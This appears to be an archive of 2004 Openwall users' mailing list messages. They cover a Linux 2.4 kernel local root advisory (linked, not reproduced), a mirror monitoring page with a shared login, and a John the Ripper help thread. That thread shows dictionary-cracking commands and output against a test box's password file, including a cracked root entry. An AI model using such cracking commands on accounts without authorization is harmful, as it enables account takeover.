In-Reply-To: <20040419000322.GA1594@private>
Message-ID: <Pine.LNX.4.58.0404211416190.27240@private>
References: <20040419000322.GA1594@private>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owl-users-return-412-jwa=jammed.com@private
X-Spam-Status: No, hits=-32.9 required=5.0
	tests=BAYES_01,IN_REP_TO,KNOWN_MAILING_LIST,QUOTED_EMAIL_TEXT,
	      QUOTE_TWICE_1,REFERENCES,REPLY_WITH_QUOTES,USER_AGENT_PINE
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

>
> There're two updated versions of the kernel patch, Linux 2.4.26-ow1
> and 2.0.40-ow1.  Both are mere updates to the new kernel releases.
>
> There're no known major security fixes added with Linux 2.4.26.

Yesterday, I found this advisory:
http://isec.pl/vulnerabilities/isec-0015-msfilter.txt

It states that there is a serious security hole in 2.4.25 kernel.
So, is 2.4.25-ow1 kernel immune to this vulnerabilty?
Return-Path: <owl-users-return-413-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i3LFPWn20323
	for <jwa@private>; Wed, 21 Apr 2004 08:25:32 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id DA398E0
	for <jwa@private>; Wed, 21 Apr 2004 08:25:29 -0700 (PDT)
Received: (qmail 3739 invoked by uid 550); 21 Apr 2004 15:24:57 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 3727 invoked from network); 21 Apr 2004 15:24:57 -0000
Message-Id: <s0864c0d.015@private>
X-Mailer: Novell GroupWise Internet Agent 6.5.1 
Date: Wed, 21 Apr 2004 10:25:07 -0500
From: "Steve Bremer" <steveb@private>
To: <owl-users@private>
Subject: Re: Linux 2.4.26-ow1, 2.0.40-ow1; new Owl ISO; Owl 1.1-stable
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Sender: owl-users-return-413-jwa=jammed.com@private
X-Spam-Status: No, hits=-6.4 required=5.0
	tests=BAYES_10,KNOWN_MAILING_LIST
	version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

In response to Tomasz's question, I don't see anything that would
prevent this vulnerability in the Openwall Linux kernel patch.  However,
and I'm still trying to find an answer to this myself, it may be that a
kernel that is compiled without CONFIG_IP_MULTICAST is not vulnerable. 
I've been trying to poke around in the code to find an answer, but
haven't had much luck finding an answer so far (I'm not a kernel/systems
programmer by a long shot).

Steve Bremer
NEBCO, Inc.
Systems & Security Administrator
Return-Path: <owl-users-return-414-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i3LG6Wn23404
	for <jwa@private>; Wed, 21 Apr 2004 09:06:32 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id E056070
	for <jwa@private>; Wed, 21 Apr 2004 09:06:27 -0700 (PDT)
Received: (qmail 6595 invoked by uid 550); 21 Apr 2004 16:05:48 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 6587 invoked from network); 21 Apr 2004 16:05:46 -0000
Date: Wed, 21 Apr 2004 20:04:41 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: Linux 2.4.26-ow1, 2.0.40-ow1; new Owl ISO; Owl 1.1-stable
Message-ID: <20040421160441.GA7289@private>
References: <20040419000322.GA1594@private> <Pine.LNX.4.58.0404211416190.27240@private>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="+HP7ph2BbKc20aGI"
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0404211416190.27240@private>
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-414-jwa=jammed.com@private
X-Spam-Status: No, hits=-45.7 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      PGP_SIGNATURE_2,QUOTED_EMAIL_TEXT,REFERENCES,
	      REPLY_WITH_QUOTES,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)


--+HP7ph2BbKc20aGI
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi,

Sorry for my delayed response on this.

On Wed, Apr 21, 2004 at 02:22:11PM +0200, Tomasz Grabowski wrote:
> > There're no known major security fixes added with Linux 2.4.26.
>=20
> Yesterday, I found this advisory:
> http://isec.pl/vulnerabilities/isec-0015-msfilter.txt

Yes, -- and it came out only yesterday.

A question for which I and many others do not have a good answer yet
is why this one wasn't properly propagated to the Linux distribution
vendors (even the biggest ones did not receive proper advance
notification this time) while getting fixed in the mainstream kernel.
But I want to resolve this in private discussions rather than
speculate about it.

> It states that there is a serious security hole in 2.4.25 kernel.
> So, is 2.4.25-ow1 kernel immune to this vulnerabilty?

Unfortunately, no.

You really need to update to Linux 2.4.26-ow1.

--=20
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments

--+HP7ph2BbKc20aGI
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQFAhpuZc8OikLNdNZgRAg50AJ9G1F1m0xXh9LsP/ng2hXcTYzNEJgCghS+z
lkuL8yeeR8J6BW/DAxhdWWA=
=i5Ci
-----END PGP SIGNATURE-----

--+HP7ph2BbKc20aGI--
Return-Path: <owl-users-return-415-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i3LG8Vn23479
	for <jwa@private>; Wed, 21 Apr 2004 09:08:31 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 33A7970
	for <jwa@private>; Wed, 21 Apr 2004 09:08:18 -0700 (PDT)
Received: (qmail 7029 invoked by uid 550); 21 Apr 2004 16:07:37 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 7020 invoked from network); 21 Apr 2004 16:07:36 -0000
Date: Wed, 21 Apr 2004 20:06:24 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: Linux 2.4.26-ow1, 2.0.40-ow1; new Owl ISO; Owl 1.1-stable
Message-ID: <20040421160624.GA7319@private>
References: <s0864c0d.015@private>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="7AUc2qLy4jB3hD7Z"
Content-Disposition: inline
In-Reply-To: <s0864c0d.015@private>
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-415-jwa=jammed.com@private
X-Spam-Status: No, hits=-45.7 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      PGP_SIGNATURE_2,QUOTED_EMAIL_TEXT,REFERENCES,
	      REPLY_WITH_QUOTES,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)


--7AUc2qLy4jB3hD7Z
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi Steve,

On Wed, Apr 21, 2004 at 10:25:07AM -0500, Steve Bremer wrote:
> In response to Tomasz's question, I don't see anything that would
> prevent this vulnerability in the Openwall Linux kernel patch.

Correct.

> However,
> and I'm still trying to find an answer to this myself, it may be that a
> kernel that is compiled without CONFIG_IP_MULTICAST is not vulnerable.=20

Unfortunately, it does not appear so.

--=20
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments

--7AUc2qLy4jB3hD7Z
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQFAhpv/c8OikLNdNZgRAlrlAJ9IOgLwj+4qZ/8tjC1ztWd36lZ6HwCcCDBh
m9yhuQvAIRRsiElr52p1SLA=
=gSdb
-----END PGP SIGNATURE-----

--7AUc2qLy4jB3hD7Z--
Return-Path: <owl-users-return-416-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i3LGUfn24840
	for <jwa@private>; Wed, 21 Apr 2004 09:30:43 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 361C8E0
	for <jwa@private>; Wed, 21 Apr 2004 09:30:36 -0700 (PDT)
Received: (qmail 8813 invoked by uid 550); 21 Apr 2004 16:30:01 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 8805 invoked from network); 21 Apr 2004 16:30:01 -0000
Message-Id: <s0865b4d.034@private>
X-Mailer: Novell GroupWise Internet Agent 6.5.1 
Date: Wed, 21 Apr 2004 11:29:41 -0500
From: "Steve Bremer" <steveb@private>
To: <owl-users@private>
Subject: Re: Linux 2.4.26-ow1, 2.0.40-ow1; new Owl ISO; Owl 1.1-stable
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Sender: owl-users-return-416-jwa=jammed.com@private
X-Spam-Status: No, hits=-7.2 required=5.0
	tests=BAYES_01,KNOWN_MAILING_LIST
	version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hi,

>> However,
>>and I'm still trying to find an answer to this myself, it may be that
a
>> kernel that is compiled without CONFIG_IP_MULTICAST is not
vulnerable. 

>Unfortunately, it does not appear so.

Thanks for the confirmation SD.  I was hoping kernels without mcast
support weren't affected since it's an mcast related option where the
bug occurs.

Steve Bremer
NEBCO, Inc.
Systems & Security Administrator

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D
3598
http://www.openwall.com - bringing security into open computing
environments
Return-Path: <owl-users-return-417-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i3N2vZn08294
	for <jwa@private>; Thu, 22 Apr 2004 19:57:35 -0700
Received: from mother.openwall.net (unknown [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 17FE270
	for <jwa@private>; Thu, 22 Apr 2004 19:57:08 -0700 (PDT)
Received: (qmail 21755 invoked by uid 550); 23 Apr 2004 02:55:12 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 21735 invoked from network); 23 Apr 2004 02:55:11 -0000
Date: Fri, 23 Apr 2004 06:53:55 +0400
From: Solar Designer <solar@private>
To: announce@private, owl-users@private
Cc: lwn@private
Subject: Re: Linux 2.4.26-ow1, 2.0.40-ow1; new Owl ISO; Owl 1.1-stable
Message-ID: <20040423025355.GA13559@private>
References: <20040419000322.GA1594@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20040419000322.GA1594@private>
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-417-jwa=jammed.com@private
X-Spam-Status: No, hits=-38.6 required=5.0
	tests=BAYES_10,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,REFERENCES,REPLY_WITH_QUOTES,
	      USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hi,

A few days ago, I wrote:

On Mon, Apr 19, 2004 at 04:03:22AM +0400, Solar Designer wrote:
> There're no known major security fixes added with Linux 2.4.26.

It is now public knowledge that Linux 2.4.26 does indeed fix a local
root vulnerability:

http://www.isec.pl/vulnerabilities/isec-0015-msfilter.txt

Linux 2.0.x and 2.2.x are unaffected.

Thus, if you're running a Linux 2.4.x kernel, it is highly recommended
that you upgrade to Linux 2.4.26-ow1.

The Openwall Linux kernel patch's web page and the Owl change log
entry have been updated with the vulnerability information.

Owl 1.1-stable has been updated to use Linux 2.4.26-ow1 as the kernel.

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
Return-Path: <owl-users-return-418-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i3SI8qn27806
	for <jwa@private>; Wed, 28 Apr 2004 11:09:02 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id AE52570
	for <jwa@private>; Wed, 28 Apr 2004 11:08:44 -0700 (PDT)
Received: (qmail 3883 invoked by uid 550); 28 Apr 2004 18:07:53 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Delivered-To: moderator for owl-users@private
Received: (qmail 20599 invoked from network); 28 Apr 2004 14:48:41 -0000
Message-ID: <408FC441.8040801@private>
Date: Wed, 28 Apr 2004 16:48:33 +0200
From: Andreas Ericsson <ae@private>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: owl-users@private
Subject: Mirror Monitoring
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owl-users-return-418-jwa=jammed.com@private
X-Spam-Status: No, hits=-3.7 required=5.0
	tests=BAYES_20,KNOWN_MAILING_LIST,USER_AGENT
	version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hi.

I've added the Owl mirrors to our monitoring program.

To check the status of the different mirrors, visit the link below.

Username: owl
Password: owl
https://monitor.op5.se/monitor/cgi-bin/status.cgi?hostgroup=owl%5Fmirrors&style=detail

Click the owl icon to visit a particular mirror.
The server is located in Stockholm in Sweden, in case anybody was 
wondering why response times seem weird.

-- 
Mvh / Best Regards
Andreas Ericsson
OP5 AB
+46 (0)733 709032
andreas.ericsson@private
Return-Path: <owl-users-return-419-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i3SJIhn31171
	for <jwa@private>; Wed, 28 Apr 2004 12:18:44 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id BD8EB70
	for <jwa@private>; Wed, 28 Apr 2004 12:18:35 -0700 (PDT)
Received: (qmail 10863 invoked by uid 550); 28 Apr 2004 19:17:56 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 10855 invoked from network); 28 Apr 2004 19:17:55 -0000
Date: Wed, 28 Apr 2004 23:16:08 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: Mirror Monitoring
Message-ID: <20040428191608.GB31909@private>
References: <408FC441.8040801@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <408FC441.8040801@private>
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-419-jwa=jammed.com@private
X-Spam-Status: No, hits=-38.6 required=5.0
	tests=BAYES_10,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,REFERENCES,REPLY_WITH_QUOTES,
	      USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hi,

On Wed, Apr 28, 2004 at 04:48:33PM +0200, Andreas Ericsson wrote:
> I've added the Owl mirrors to our monitoring program.
> 
> To check the status of the different mirrors, visit the link below.
> 
> Username: owl
> Password: owl
> https://monitor.op5.se/monitor/cgi-bin/status.cgi?hostgroup=owl%5Fmirrors&style=detail

Looks nice and may be quite useful.

Would it be possible to also make this available via http:// and not
just https:// (the certificate is signed by your private CA so can't
be verified anyway and only causes warning messages from browsers; and
there's no private information in there anyway).

Also, it'd be great if no login was required to access that page, --
I would then be able to conveniently link it from the Openwall mirrors
web page.

> The server is located in Stockholm in Sweden, in case anybody was 
> wondering why response times seem weird.

They don't seem weird to me.

P.S. When you post to this mailing list, please do so from your
subscribed e-mail address.  Otherwise, your messages get queued for
moderation and might get lost in the piles of spam that I receive.
(I've just added the e-mail address you've posted this from to the
allow list, but anyway...)

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
Return-Path: <owl-users-return-420-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i3TEf6n17383
	for <jwa@private>; Thu, 29 Apr 2004 07:41:07 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id B92A870
	for <jwa@private>; Thu, 29 Apr 2004 07:40:59 -0700 (PDT)
Received: (qmail 25130 invoked by uid 550); 29 Apr 2004 14:40:12 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 25119 invoked from network); 29 Apr 2004 14:40:12 -0000
Subject: Question: John The Ripper and Word-list issues with Windows versions
To: owl-users@private
X-Mailer: Lotus Notes Release 6.5 September 26, 2003
Message-ID: <OF03B26176.73F97638-ON85256E85.00506641-85256E85.005084CD@private>
From: Luke.K.Franzelas@private
Date: Thu, 29 Apr 2004 10:39:38 -0400
X-MIMETrack: Serialize by Router on SMTP01/MedStar(Release 6.0.2CF1|June 9, 2003) at 04/29/2004
 10:39:41 AM
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owl-users-return-420-jwa=jammed.com@private
X-Spam-Status: No, hits=-2.7 required=5.0
	tests=BAYES_20,KNOWN_MAILING_LIST,NO_REAL_NAME
	version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)






I am new at this so please don't be brutal :)

I have searched the Openwall page for a JTR faq and I'm either blind or
this is the method of asking questions.  (I am probably blind)  I hope this
is the appropriate forum to ask my question.

I have downloaded and installed the john-16W zipped version of JTR.  The
brute force method that runs by typing "john.exe <passwordfile> seems to
run fine.
However, when I want to do just a dictionary check I type this command
"john.exe -w:<wordfile> <passwordfile> I get the following output:

john.exe -w:english.txt passshadow.txt
Loaded 3 passwords with 3 different salts (Standard DES [24/32 4K])
guesses: 0  time: 0:00:00:01 100%  c/s: 126501  trying: z's - zygote

It seems that only the tail end of the wordlist is being used against the
passwordfile.  I have tried multiple different word lists.  I have even
tried removing the sections of the wordlist that were successfully
attempted and repeating.  This only produced similar results by only
indicating the new tail end of the password file.

The unshadowed password and shadow file I am using is from a test box where
I know what all the passwords are.  One of the passwords is "password"  The
word "password" is in my english dictionary list and does not appear to be
tried against any of the accounts.  When I create a new dictionary list
with just the word "password" in it the user account is cracked.  So it
appears that the entire dictionary word list is not being utilized when
running the software.

Similarly when I run the follwing command the dictionary wordfile only
seems to use more of the word list but does not crack the test user account
with the simple "password."  I redo the unshadow on the original passwd and
shadow files and alter the password list name to ensure that it is not
remembering the cracked passwords from earlier.  The result is as follows.

john.exe -show passwordtest.txt
root:root01:0:1:Super-User:/:/sbin/sh

(it seems that it remembers the root password crack)

1 password cracked, 4 left

john.exe -w:english.txt -rules passwordtest.txt
Loaded 4 passwords with 4 different salts (Standard DES [24/32 4K])
guesses: 0  time: 0:00:00:01 1%  c/s: 130816  trying: ribald - risible
guesses: 0  time: 0:00:00:02 4%  c/s: 130880  trying: Lobe - Loomed
guesses: 0  time: 0:00:00:03 6%  c/s: 130901  trying: potholes - primeses
guesses: 0  time: 0:00:00:05 12%  c/s: 130944  trying: trenchtr - turkeytu
guesses: 0  time: 0:00:00:07 14%  c/s: 130962  trying: 1gab - 1gardeni
guesses: 0  time: 0:00:00:08 17%  c/s: 147344  trying: cheeks2 - chuck2
guesses: 0  time: 0:00:00:10 23%  c/s: 144076  trying: armada7 - assign7
guesses: 0  time: 0:00:00:12 28%  c/s: 141898  trying: johann4 - kodak4
guesses: 0  time: 0:00:00:14 33%  c/s: 140342  trying: voyages6 - warmly6
guesses: 0  time: 0:00:00:16 38%  c/s: 139176  trying: sprints? - stared?
guesses: 0  time: 0:00:00:18 45%  c/s: 138268  trying: noveD - sdnomdE
guesses: 0  time: 0:00:00:20 48%  c/s: 137542  trying: Rekcup - Reifirup
guesses: 0  time: 0:00:00:22 52%  c/s: 136948  trying: 2beholde - 2beryl
guesses: 0  time: 0:00:00:28 66%  c/s: 135675  trying: Theory7 - Tickled7
guesses: 0  time: 0:00:00:30 71%  c/s: 135364  trying: Secant8 - Serge8
guesses: 0  time: 0:00:00:32 76%  c/s: 135092  trying: Pilings0 - Planets0
guesses: 0  time: 0:00:00:34 80%  c/s: 134851  trying: 7owns - 7pander
guesses: 0  time: 0:00:00:36 83%  c/s: 134638  trying: 5inextin - 5inkling
guesses: 0  time: 0:00:00:38 86%  c/s: 134447  trying: 8erasure - 8euphori
guesses: 0  time: 0:00:00:40 91%  c/s: 134275  trying: creoling - dixiing
guesses: 0  time: 0:00:00:42 100%  c/s: 134090  trying: Yeshivin - Zygoting

john.exe -show passwordtest.txt
root:root01:0:1:Super-User:/:/sbin/sh

1 password cracked, 4 left


What am I doing wrong?  How do I improve the output of the wordlist check
to ensure it checks all the words and catches simple passwords like
"password"?
Return-Path: <owl-users-return-421-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i3UGptn22568
	for <jwa@private>; Fri, 30 Apr 2004 09:51:55 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 2F8EF70
	for <jwa@private>; Fri, 30 Apr 2004 09:51:52 -0700 (PDT)
Received: (qmail 23226 invoked by uid 550); 30 Apr 2004 16:51:14 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 23217 invoked from network); 30 Apr 2004 16:51:12 -0000
Date: Fri, 30 Apr 2004 20:49:14 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Cc: Luke.K.Franzelas@private
Subject: Re: Question: John The Ripper and Word-list issues with Windows versions
Message-ID: <20040430164914.GA2822@private>
References: <OF03B26176.73F97638-ON85256E85.00506641-85256E85.005084CD@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <OF03B26176.73F97638-ON85256E85.00506641-85256E85.005084CD@private>
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-421-jwa=jammed.com@private
X-Spam-Status: No, hits=-38.6 required=5.0
	tests=BAYES_10,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,REFERENCES,REPLY_WITH_QUOTES,
	      USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Thu, Apr 29, 2004 at 10:39:38AM -0400, Luke.K.Franzelas@private wrote:
> I have searched the Openwall page for a JTR faq and I'm either blind or
> this is the method of asking questions.  (I am probably blind)  I hope this
> is the appropriate forum to ask my question.

It is not.  This mailing list is limited to topics related to Openwall
GNU/*/Linux, while in your question you're talking specifically about
running John the Ripper on Windows.  Although I do not think that the
problem you're running into is at all specific to the Windows build of
JtR, so I'll reply to the list this one time.  But please don't send
any further follow-ups to the list.

The proper author contact address for JtR is given inside the
downloadable tarballs/zips, and intentionally not given anywhere on
the web page for JtR.  I already receive too many questions on it, so
I insist that people at least download and try the thing for
themselves before e-mailing me.  Unfortunately, this policy has the
side effect that we receive questions on JtR to e-mail addresses
found on other pages of the Openwall site...

> john.exe -w:english.txt passshadow.txt
> Loaded 3 passwords with 3 different salts (Standard DES [24/32 4K])
> guesses: 0  time: 0:00:00:01 100%  c/s: 126501  trying: z's - zygote

This looks correct.  It means that John has tried 126501 different
candidate passwords and is done with your wordlist.  The range shown
is what it was trying last (it does not try passwords one by one, but
rather in chunks of 128 or whatever it deems optimal for the algorithm
it uses for a particular hash type on a particular hardware platform).
Do not misinterpret this as the range for the entire session.

> It seems that only the tail end of the wordlist is being used against the
> passwordfile.

No.

> The unshadowed password and shadow file I am using is from a test box where
> I know what all the passwords are.  One of the passwords is "password"  The
> word "password" is in my english dictionary list and does not appear to be
> tried against any of the accounts.  When I create a new dictionary list
> with just the word "password" in it the user account is cracked.  So it
> appears that the entire dictionary word list is not being utilized when
> running the software.

This is weird.  Either you're doing something wrong (and I'm quite
sure that you're, but I have no way to guess what exactly that might
be) or you've run into a bug in JtR (no, there's no known bug like
that in the version you're using).

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
Return-Path: <owl-users-return-422-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i45MpeS12431
	for <jwa@private>; Wed, 5 May 2004 15:51:41 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 5E87FE0
	for <jwa@private>; Wed,  5 May 2004 15:51:35 -0700 (PDT)
Received: (qmail 9998 invoked by uid 550); 5 May 2004 22:50:48 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 9971 invoked from network); 5 May 2004 22:50:47 -0000
From: Marek Bajon <mbajon@private>
To: owl-users@private
Errors-To: mbajon@private
References: <1083795198.7788.ezmlm@private>
In-Reply-To: <1083795198.7788.ezmlm@private>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-2
Content-Transfer-Encoding: 7bit
X-Mailer: IMP/PHP3 Imap webMail Program 2.0.9
Sender: mbajon@private
Subject: =?iso-8859-2?Q?How=20Owl=20is=20better=20from=20"other=20leading=20linux=20distributions"=3F?=
Message-Id: <20040505222804.8AC443B4099@private>
